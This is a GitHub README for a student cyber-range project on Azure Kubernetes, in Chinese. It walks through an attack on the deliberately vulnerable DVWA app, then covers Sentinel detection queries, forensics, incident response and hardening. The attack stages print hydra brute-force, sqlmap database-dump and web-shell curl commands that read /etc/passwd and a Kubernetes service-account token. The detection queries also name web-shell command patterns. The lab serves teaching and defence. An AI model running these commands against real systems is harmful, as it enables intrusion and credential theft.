Priyanshu086/Cryvion-Cyber-Range
GitHub: Priyanshu086/Cryvion-Cyber-Range
基于 Azure AKS 构建的端到端网络安全攻防靶场,模拟云原生环境下的完整攻击链并集成检测、取证与加固流程。
Stars: 0 | Forks: 0
# Cryvion Networks — 容器化环境中的端到端违规生命周期模拟
## 目录
- [概述](#overview)
- [项目背景](#project-context)
- [架构](#architecture)
- [技术栈](#tech-stack)
- [前置条件](#prerequisites)
- [仓库结构](#repository-structure)
- [开始使用](#getting-started)
- [1. 克隆与配置](#1-clone--configure)
- [2. 配置 Azure 基础设施](#2-provision-azure-infrastructure)
- [3. 部署目标环境](#3-deploy-the-target-environment)
- [4. 搭建 SIEM](#4-set-up-the-siem)
- [5. 部署攻击机](#5-deploy-the-attacker-machine)
- [攻击模拟](#attack-simulation)
- [阶段 1 — 侦察](#stage-1--reconnaissance)
- [阶段 2 — 凭据暴力破解](#stage-2--credential-brute-force)
- [阶段 3 — SQL 注入与数据窃取](#stage-3--sql-injection--data-exfiltration)
- [阶段 4 — Web Shell 与持久化](#stage-4--web-shell--persistence)
- [阶段 5 — 横向移动](#stage-5--lateral-movement)
- [检测与监控](#detection--monitoring)
- [取证调查](#forensic-investigation)
- [事件响应](#incident-response)
- [安全加固](#security-hardening)
- [MITRE ATT&CK 映射](#mitre-attck-mapping)
- [网络杀戮链](#cyber-kill-chain)
- [关键指标](#key-metrics)
- [免责声明](#disclaimer)
- [许可证](#license)
## 概述
本项目针对在 **Azure Kubernetes Service (AKS)** 上运行容器化工作负载的虚构企业 **Cryvion Networks**,模拟了端到端的违规生命周期。它涵盖了现实世界多阶段网络攻击的每个阶段,并将每个动作映射到 [MITRE ATT&CK Enterprise 框架](https://attack.mitre.org/) 和 [Lockheed Martin 网络杀戮链](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)。
该模拟围绕五个从业者角色构建:
| 角色 | 职责 |
|---|---|
| SOC 分析师 | 监控 Sentinel 仪表板,对警报进行分类 |
| 事件响应人员 | 执行遏制和根除步骤 |
| 威胁猎手 | 编写 KQL 查询以揭示攻击者的 TTP |
| DevSecOps 工程师 | 违规后加固 CI/CD 流水线 |
| 安全架构师 | 基于零信任原则重新设计基础设施 |
目标不仅是模拟攻击,而是构建完整的操作闭环:**检测 → 调查 → 遏制 → 加固**。
## 项目背景
```
Company : Cryvion Networks (fictional)
Project Title : Design and Evaluation of an End-to-End Breach
Lifecycle Simulation in Containerized Environments
Semester : 6th Semester — Minor Project
Frameworks : MITRE ATT&CK Enterprise | Cyber Kill Chain | NIST CSF
Cloud Platform : Microsoft Azure (Student Subscription)
Performed By : Priyanshu Dewangan
```
## 架构
```
┌─────────────────────────────────────────────────────────────────────┐
│ Azure Subscription │
│ Resource Group: cryvion-breach-lab │
│ │
│ ┌──────────────────────────────┐ ┌─────────────────────────┐ │
│ │ cryvion-vnet (VNet) │ │ Microsoft Sentinel │ │
│ │ 10.0.0.0/16 │ │ + Log Analytics WS │ │
│ │ │ │ + Defender Containers │ │
│ │ ┌─────────────────────┐ │ └─────────────────────────┘ │
│ │ │ aks-subnet │ │ ▲ │
│ │ │ 10.0.1.0/24 │ │ │ Logs │
│ │ │ │ │ │ │
│ │ │ ┌───────────────┐ │ │ ┌──────────────────────┐ │
│ │ │ │ AKS Cluster │──┼─────┼──►│ Azure Key Vault │ │
│ │ │ │ (cryvion-aks)│ │ │ │ (Secrets Manager) │ │
│ │ │ │ │ │ │ └──────────────────────┘ │
│ │ │ │ ┌─────────┐ │ │ │ │
│ │ │ │ │ DVWA │ │ │ │ ┌──────────────────────┐ │
│ │ │ │ │ Pod │ │ │ │ │ Azure Container │ │
│ │ │ │ │ (Target)│ │ │ │ │ Registry (ACR) │ │
│ │ │ │ └─────────┘ │ │ │ └──────────────────────┘ │
│ │ │ └───────────────┘ │ │ │
│ │ └─────────────────────┘ │ │
│ │ │ │
│ │ ┌─────────────────────┐ │ │
│ │ │ attacker-subnet │ │ │
│ │ │ 10.0.2.0/24 │ │ │
│ │ │ │ │ │
│ │ │ ┌───────────────┐ │ │ │
│ │ │ │ Attacker VM │ │ │ │
│ │ │ │ (Kali/Ubuntu)│ │ │ │
│ │ │ └───────────────┘ │ │ │
│ │ └─────────────────────┘ │ │
│ └──────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
```
## 技术栈
| 类别 | 技术 |
|---|---|
| 云平台 | Microsoft Azure (学生订阅) |
| 容器编排 | Azure Kubernetes Service (AKS) |
| 目标应用 | DVWA (Damn Vulnerable Web Application) |
| SIEM | Microsoft Sentinel + Log Analytics Workspace |
| 威胁检测 | Microsoft Defender for Containers |
| 密钥管理 | Azure Key Vault |
| 容器注册表 | Azure Container Registry (ACR) |
| 镜像扫描 | Trivy (开源) |
| WAF | Azure Application Gateway WAF v2 |
| 攻击工具 | nmap, hydra, sqlmap, nikto, gobuster, netcat, metasploit |
| 查询语言 | KQL (Kusto Query Language) |
| IaC / CLI | Azure CLI (`az`) |
| 容器运行时 | Docker |
| 编排 CLI | kubectl |
## 前置条件
在开始之前,请确保你的本地机器已具备以下条件。
**账户与访问权限**
- 具有有效学生订阅的 Microsoft Azure 账户
- 已安装并通过身份验证的 Azure CLI (`az login`)
- 已安装 Git
**本地工具**
```
# 验证每个工具是否已安装并在 PATH 中
az --version # Azure CLI >= 2.50.0
docker --version # Docker >= 24.x
kubectl version # kubectl >= 1.27
git --version # Git >= 2.x
```
**安装链接**(如果缺少任何工具):
- [Azure CLI](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)
- [Docker Desktop](https://www.docker.com/products/docker-desktop)
- [kubectl](https://kubernetes.io/docs/tasks/tools/)
- [Git](https://git-scm.com/downloads)
## 仓库结构
```
cryvion-networks-breach-sim/
│
├── README.md ← You are here
│
├── infrastructure/
│ ├── vnet.sh ← Azure VNet + subnet provisioning
│ ├── aks-cluster.sh ← AKS cluster creation
│ ├── sentinel-setup.sh ← Log Analytics + Sentinel setup
│ └── attacker-vm.sh ← Attacker VM provisioning
│
├── kubernetes/
│ ├── dvwa-deployment.yaml ← DVWA target app deployment
│ ├── network-policy-default-deny.yaml ← Zero Trust baseline
│ ├── network-policy-allow-web-db.yaml ← Explicit allow rules
│ ├── pod-security-policy.yaml ← Non-root, read-only filesystem
│ └── isolation-policy.yaml ← Emergency quarantine policy
│
├── attack-simulation/
│ ├── 01-recon.sh ← nmap + nikto reconnaissance
│ ├── 02-bruteforce.sh ← hydra credential attack
│ ├── 03-sqli.sh ← sqlmap injection + exfiltration
│ ├── 04-webshell/
│ │ └── shell.php ← PHP web shell (lab use only)
│ └── 05-lateral-movement.sh ← K8s API enumeration
│
├── detection/
│ ├── kql-queries/
│ │ ├── brute-force-detection.kql
│ │ ├── sqli-detection.kql
│ │ ├── webshell-detection.kql
│ │ ├── lateral-movement-detection.kql
│ │ └── full-attack-timeline.kql
│ └── sentinel-analytics-rules.json ← Exportable Sentinel rules
│
├── forensics/
│ ├── collect-evidence.sh ← Container forensic artifact collection
│ ├── attack-timeline-query.kql ← Timeline reconstruction query
│ └── mitre-attack-mapping.md ← Full technique mapping reference
│
├── incident-response/
│ ├── containment.sh ← Network isolation + NSG block
│ ├── eradication.sh ← Remove artifacts, rebuild pod
│ └── recovery-verification.sh ← Post-recovery health check
│
├── hardening/
│ ├── zero-trust-policies.yaml ← Production-grade NetworkPolicies
│ ├── key-vault-setup.sh ← Key Vault + CSI driver config
│ ├── waf-setup.sh ← Application Gateway WAF v2
│ ├── pod-security-hardening.yaml ← Hardened PodSecurityPolicy
│ └── trivy-pipeline.yaml ← DevSecOps CI/CD scan config
│
├── reports/
│ ├── executive-incident-report.md ← Final executive report template
│ └── nist-csf-mapping.md ← NIST CSF controls mapping
│
└── cleanup/
└── destroy-all.sh ← Delete all Azure resources
```
## 开始使用
### 1. 克隆与配置
```
git clone https://github.com/priyanshu086/breach-lifecycle-simulation-in-containarized-enviroments.git
cd breach-lifecycle-simulation-in-containarized-enviroments
```
设置你的 Azure 订阅:
```
az login
az account set --subscription "YOUR_SUBSCRIPTION_ID"
# 确认活跃订阅
az account show --query "{Name:name, ID:id, State:state}" --output table
```
### 2. 配置 Azure 基础设施
```
# 创建包含所有内容的 Resource group
az group create \
--name Cryvion-Networks \
--location centralindia \
--tags project=cryvion-networks environment=lab
# 配置 Virtual Network 和子网
bash infrastructure/vnet.sh
# 创建 AKS 集群(耗时约 8 分钟)
bash infrastructure/aks-cluster.sh
# 使用 kubectl 连接到新集群
az aks get-credentials \
--resource-group Cryvion-Networks \
--name Cryvion-aks
# 验证节点是否就绪
kubectl get nodes
```
### 3. 部署目标环境
```
# 创建应用 namespace
kubectl create namespace cryvion-app
# 部署 DVWA(易受攻击的目标应用)
kubectl apply -f kubernetes/dvwa-deployment.yaml
# 等待分配外部 IP(2-3 分钟)
kubectl get service dvwa-service -n cryvion-app --watch
```
当 `EXTERNAL-IP` 列填充完毕后,在浏览器中打开 `http:///dvwa`。默认凭据:`admin` / `password`。
### 4. 搭建 SIEM
```
# 创建 Log Analytics Workspace
bash infrastructure/sentinel-setup.sh
# 启用 AKS 诊断日志记录到 Sentinel
az aks enable-addons \
--resource-group Cryvion-Networks \
--name Cryvion-aks \
--addons monitoring \
--workspace-resource-id $(az monitor log-analytics workspace show \
--resource-group Cryvion-Networks \
--workspace-name Cryvion-sentinel-ws \
--query id -o tsv)
# 启用 Microsoft Defender for Containers
az security pricing create --name Containers --tier Standard
```
然后在 Azure 门户中:搜索 **Microsoft Sentinel** → **+ 添加** → 选择 `cryvion-sentinel-ws` → **添加 Microsoft Sentinel**。
加载预构建的分析规则:
```
# 将 KQL 检测规则导入 Sentinel
# (在 Sentinel → Analytics → Import 中执行此操作)
# 文件:detection/sentinel-analytics-rules.json
```
### 5. 部署攻击机
```
# 在隔离的子网中配置攻击者 VM
bash infrastructure/attacker-vm.sh
# 通过 SSH 连接到 VM(从 portal 或脚本输出中获取公网 IP)
ssh attackeruser@
# 进入后,安装渗透测试工具包
sudo apt update && sudo apt install -y \
nmap nikto gobuster sqlmap hydra netcat john \
curl wget python3 wireshark
```
## 攻击模拟
在运行任何阶段之前,将目标 IP 设置为环境变量:
```
export TARGET_IP=""
```
### 阶段 1 — 侦察
```
# 主机发现
nmap -sn $TARGET_IP
# 服务和版本枚举
nmap -sV -sC $TARGET_IP -oN results/recon_scan.txt
# Web 应用漏洞扫描
nikto -h http://$TARGET_IP -output results/nikto_report.txt
# 目录枚举
gobuster dir \
-u http://$TARGET_IP/dvwa \
-w /usr/share/wordlists/dirb/common.txt \
-o results/gobuster_results.txt
```
**MITRE ATT&CK:** `T1595.001` (主动扫描:IP 块), `T1595.002` (漏洞扫描)
### 阶段 2 — 凭据暴力破解
```
# 暴力破解 DVWA 登录表单
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
$TARGET_IP \
http-post-form \
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" \
-V -t 4 \
-o results/hydra_results.txt
```
**MITRE ATT&CK:** `T1110.001` (暴力破解:密码猜测), `T1078` (有效账户)
### 阶段 3 — SQL 注入与数据窃取
成功登录后,从浏览器的 DevTools 中检索你的会话 Cookie (应用 → Cookies → `PHPSESSID`)。
```
export COOKIE="PHPSESSID=; security=low"
# 枚举数据库
sqlmap -u "http://$TARGET_IP/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="$COOKIE" \
--dbs --batch \
--output-dir=results/sqlmap
# 从 dvwa 数据库中提取表
sqlmap -u "http://$TARGET_IP/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="$COOKIE" \
-D dvwa --tables --batch
# 转储 users 表(模拟 PII 泄露)
sqlmap -u "http://$TARGET_IP/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="$COOKIE" \
-D dvwa -T users --dump --batch
```
**MITRE ATT&CK:** `T1190` (利用面向公众的应用), `T1005` (来自本地系统的数据), `T1041` (通过 C2 通道渗透)
### 阶段 4 — Web Shell 与持久化
```
# 通过 DVWA 的文件上传页面上传 web shell
# shell 位于:attack-simulation/04-webshell/shell.php
# 验证远程代码执行
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=id"
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=hostname"
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd"
# 确认容器环境(非裸金属主机)
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=cat+/proc/1/cgroup"
```
**MITRE ATT&CK:** `T1505.003` (服务器软件组件:Web Shell), `T1059.004` (命令和脚本解释器:Unix Shell)
### 阶段 5 — 横向移动
```
# 枚举环境变量(发现内部服务)
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=env"
# 获取 Kubernetes service account token
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=cat+/var/run/secrets/kubernetes.io/serviceaccount/token"
# 使用获取的 token 探测 Kubernetes API server
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=curl+-sk+https://kubernetes.default.svc/api/v1/namespaces"
# 通过被入侵的容器进行内部网络扫描
curl "http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=nmap+-sn+10.0.1.0/24"
```
**MITRE ATT&CK:** `T1613` (容器和资源发现), `T1550` (使用备用身份验证材料), `T1021` (远程服务), `T1611` (逃逸到宿主机)
## 检测与监控
所有的 KQL 查询均可在 `detection/kql-queries/` 中找到。请在 **Microsoft Sentinel → 日志** 中运行它们。
**暴力破解检测**
```
ContainerLog
| where LogEntry contains "Invalid password" or LogEntry contains "login failed"
| summarize FailedAttempts = count() by bin(TimeGenerated, 5m), ContainerID
| where FailedAttempts > 5
| order by FailedAttempts desc
```
**SQL 注入检测**
```
AzureDiagnostics
| where requestUri_s matches regex @"('|--|;|UNION|SELECT|DROP|1=1)"
| project TimeGenerated, clientIp_s, requestUri_s, httpStatusCode_d
| order by TimeGenerated desc
```
**Web Shell 执行检测**
```
ContainerLog
| where LogEntry matches regex @"cmd=.+(id|whoami|cat|ls|uname|netstat|curl)"
| project TimeGenerated, ContainerID, LogEntry
| order by TimeGenerated desc
```
**完整攻击时间线重建**
```
union ContainerLog, AzureDiagnostics
| where TimeGenerated > ago(24h)
| extend Stage = case(
LogEntry contains "Invalid password", "2 - Brute Force",
requestUri_s contains "' OR", "3 - SQL Injection",
LogEntry matches regex @"cmd=\w+", "4 - Web Shell",
LogEntry contains "kubernetes.default", "5 - Lateral Movement",
"1 - Reconnaissance")
| project TimeGenerated, Stage, Detail = coalesce(LogEntry, requestUri_s)
| order by TimeGenerated asc
```
**Sentinel 分析规则** — 将 `detection/sentinel-analytics-rules.json` 加载到 Sentinel 中 (分析 → 导入),以便为所有五个攻击阶段创建自动化的实时警报规则。
## 取证调查
```
# 识别被入侵的 pod 名称
kubectl get pods -n cryvion-app
export POD_NAME=$(kubectl get pod -n cryvion-app \
-l app=dvwa \
-o jsonpath='{.items[0].metadata.name}')
# 保留容器日志(在任何修复之前执行此操作)
kubectl logs $POD_NAME -n cryvion-app > forensics/evidence/container_logs.txt
kubectl logs $POD_NAME -n cryvion-app --previous >> forensics/evidence/container_logs_previous.txt
# 清点最近修改的文件
kubectl exec -n cryvion-app $POD_NAME -- \
find / -newer /tmp -type f 2>/dev/null > forensics/evidence/modified_files.txt
# 捕获正在运行的进程
kubectl exec -n cryvion-app $POD_NAME -- \
ps aux > forensics/evidence/process_list.txt
# 捕获活动网络连接
kubectl exec -n cryvion-app $POD_NAME -- \
netstat -tlnp 2>/dev/null > forensics/evidence/network_connections.txt
# 为所有证据文件生成 MD5 哈希(证据保管链)
md5sum forensics/evidence/* > forensics/evidence/CHECKSUMS.md5
```
从 Sentinel 日志中导出攻击时间线 (使用 `detection/kql-queries/full-attack-timeline.kql`),并将输出保存为 `forensics/evidence/attack_timeline.csv`。
## 事件响应
### 遏制
```
# 隔离被入侵的 pod(拒绝所有 ingress + egress)
kubectl apply -f incident-response/isolation-policy.yaml
# 在网络层阻止攻击者的源 IP
export ATTACKER_IP=""
az network nsg rule create \
--resource-group cryvion-breach-lab \
--nsg-name cryvion-aks-nsg \
--name BlockAttacker \
--priority 100 \
--direction Inbound \
--access Deny \
--source-address-prefixes $ATTACKER_IP \
--destination-port-ranges '*'
```
### 根除
```
# 移除 webshell
kubectl exec -n cryvion-app $POD_NAME -- \
rm /var/www/html/dvwa/hackable/uploads/shell.php
# 强制重建干净的 pod(Kubernetes 拉取全新的镜像)
kubectl delete pod $POD_NAME -n cryvion-app
# 轮换受损凭证
kubectl delete secret dvwa-secrets -n cryvion-app 2>/dev/null || true
kubectl create secret generic dvwa-secrets \
--from-literal=MYSQL_ROOT_PASSWORD="$(openssl rand -base64 24)" \
--from-literal=DVWA_ADMIN_PASSWORD="$(openssl rand -base64 24)" \
-n cryvion-app
```
### 恢复验证
```
# 确认 pod 健康且运行的是全新镜像
kubectl get pods -n cryvion-app
kubectl describe pod -n cryvion-app -l app=dvwa | grep "Image:"
# 验证 webshell 已被清除(预期返回 HTTP 404)
curl -o /dev/null -s -w "%{http_code}" \
"http://$TARGET_IP/dvwa/hackable/uploads/shell.php?cmd=id"
# 既然系统已清理干净,移除隔离策略
kubectl delete networkpolicy isolate-compromised-pod -n cryvion-app
echo "Recovery complete. System restored and post-incident monitoring active."
```
## 安全加固
### 零信任网络策略
```
kubectl apply -f hardening/zero-trust-policies.yaml
```
这会在 `cryvion-app` 中的所有 Pod 强制执行默认拒绝态势。仅允许显式定义的通信路径 (在端口 3306 上的 web → 数据库;在端口 80/443 上的入口)。默认情况下,Pod 之间的横向移动将变得不可能。
### 密钥管理
```
bash hardening/key-vault-setup.sh
```
将所有凭据从 Kubernetes YAML 清单中移至 Azure Key Vault。密钥在运行时通过 [Secrets Store CSI Driver](https://secrets-store-csi-driver.sigs.k8s.io/) 注入到 Pod 中。密码永远不会接触到源代码控制。
### Web 应用防火墙
```
bash hardening/waf-setup.sh
```
以 **预防** 模式部署带有 OWASP CRS 3.2 的 Azure Application Gateway WAF v2。此规则集会在请求到达集群之前,阻止 SQL 注入模式、路径遍历以及已知的 Web 扫描器特征。
### DevSecOps — CI/CD 中的镜像扫描
```
# 针对 DVWA 镜像手动运行 Trivy
docker run --rm aquasec/trivy:latest image \
vulnerables/web-dvwa:latest \
--severity HIGH,CRITICAL \
--exit-code 1
```
`hardening/trivy-pipeline.yaml` 文件将此扫描集成到 Azure DevOps 流水线中。具有高或严重级别 CVE 的镜像将被阻止推送到 ACR,并且永远不会到达集群。
### 加固的 Pod 安全
```
kubectl apply -f hardening/pod-security-hardening.yaml
```
强制执行的关键控制:
- `runAsNonRoot: true` — 容器不能以 UID 0 运行
- `readOnlyRootFilesystem: true` — Web Shell 无法持久化到磁盘
- `allowPrivilegeEscalation: false` — 禁止 `sudo` 或权限提升
- `allowedCapabilities: []` — 丢弃所有 Linux capabilities
## MITRE ATT&CK 映射
| # | 战术 | 技术 ID | 技术名称 | 使用工具 |
|---|---|---|---|---|
| 1 | TA0043 侦察 | T1595.001 | 主动扫描:IP 块 | nmap |
| 2 | TA0043 侦察 | T1595.002 | 漏洞扫描 | nikto |
| 3 | TA0001 初始访问 | T1190 | 利用面向公众的应用 | DVWA / sqlmap |
| 4 | TA0001 初始访问 | T1078 | 有效账户 | hydra |
| 5 | TA0002 执行 | T1059.004 | Unix Shell | web shell |
| 6 | TA0002 执行 | T1203 | 利用漏洞进行代码执行 | DVWA 上传 |
| 7 | TA0003 持久化 | T1505.003 | Web Shell | shell.php |
| 8 | TA0004 权限提升 | T1611 | 逃逸到宿主机 | K8s API |
| 9 | TA0004 权限提升 | T1548 | 滥用提权控制 | 服务账户 |
| 10 | TA0006 凭据访问 | T1110.001 | 暴力破解:密码猜测 | hydra |
| 11 | TA0006 凭据访问 | T1555 | 来自存储的凭据 | K8s secret token |
| 12 | TA0007 发现 | T1046 | 网络服务扫描 | nmap (通过 shell) |
| 13 | TA0007 发现 | T1613 | 容器和资源发现 | kubectl API |
| 14 | TA0008 横向移动 | T1021 | 远程服务 | K8s API 服务器 |
| 15 | TA0008 横向移动 | T1550 | 备用身份验证材料 | SA token |
| 16 | TA0009 收集 | T1005 | 来自本地系统的数据 | sqlmap 数据库转储 |
| 17 | TA0010 渗透 | T1041 | 通过 C2 通道渗透 | sqlmap HTTP |
| 18 | TA0040 影响 | T1565 | 数据操纵 | 用户表转储 |
使用上述技术 ID 在 [mitre-attack.github.io/attack-navigator](https://mitre-attack.github.io/attack-navigator/) 生成 ATT&CK Navigator 热力图。
## 网络杀戮链
| 阶段 | 动作 | 工具 |
|---|---|---|
| 1. 侦察 | 端口 + 服务扫描,Web 漏洞扫描 | nmap, nikto, gobuster |
| 2. 武器化 | 制作 PHP Web Shell;准备 sqlmap 载荷 | 自定义 + sqlmap |
| 3. 投递 | 通过 DVWA 文件上传上传 Web Shell;通过 URL 参数进行 SQLi | 浏览器, curl |
| 4. 利用 | 触发 DVWA SQLi 和文件上传漏洞 | sqlmap, DVWA |
| 5. 安装 | Web Shell 持久化在 `/dvwa/hackable/uploads/shell.php` | HTTP POST |
| 6. 命令与控制 | 通过 `?cmd=` 参数进行 HTTP C2;sqlmap 保持数据库访问 | curl, sqlmap |
| 7. 目标行动 | 转储用户表;枚举 K8s API;扫描内部网络 | sqlmap, curl |
## 关键指标
在你的模拟运行期间和之后记录这些值。它们构成了你的高管事件报告的核心。
| 指标 | 描述 | 目标 |
|---|---|---|
| MTTD | 平均时间 — 攻击开始与首个 Sentinel 警报之间的间隔 | < 10 分钟 |
| MTTR | 平均响应时间 — 警报与遏制行动之间的间隔 | < 20 分钟 |
| MTTRec | 平均恢复时间 — 遏制与系统净化之间的间隔 | < 30 分钟 |
| 检测覆盖率 | 触发 Sentinel 警报的攻击阶段百分比 | ≥ 80% |
| 窃取的记录数 | 被 sqlmap 转储的数据库行数 | 已记录 |
| 发现的 CVE 数 | 通过 Trivy 在 DVWA 镜像中发现的高/严重级别 CVE 数量 | 已记录 |
## 清理
**在提交项目后** 运行此操作以停止所有 Azure 费用。
```
# 在删除前导出所有最终证据
kubectl logs -n cryvion-app --all-containers=true > final_export.txt
# 删除整个 resource group 及其中的所有资源
az group delete \
--name cryvion-breach-lab \
--yes \
--no-wait
echo "All Cryvion Networks lab resources scheduled for deletion."
```
或者,使用清理脚本:
```
bash cleanup/destroy-all.sh
```
## 免责声明
## 许可证
本项目作为学术交付成果提交。代码和文档可在注明出处的前提下用于学习目的。不提供任何担保。
*Cryvion Networks — 违规生命周期模拟 · 学术项目 · 第 6 学期*
标签:AKS, Azure Kubernetes Service, CISA项目, Cloudflare, Cyber Kill Chain, DevSecOps, DNS 反向解析, GitHub Advanced Security, IP 地址批量处理, Microsoft Sentinel, MITRE ATT&CK, NIST框架, PE 加载器, PoC, Web Shell, Web截图, 上游代理, 嗅探欺骗, 基础设施加固, 子域名变形, 子域名突变, 安全加固, 安全运营, 容器安全, 密码管理, 库, 应急响应, 应用安全, 扫描框架, 插件系统, 攻击模拟, 数字取证, 暴力破解, 杀伤链, 权限维持, 横向移动, 端到端模拟, 红队评估, 编程规范, 网络安全, 网络安全审计, 网络靶场, 自动化攻击脚本, 自动化脚本, 请求拦截, 隐私保护, 驱动签名利用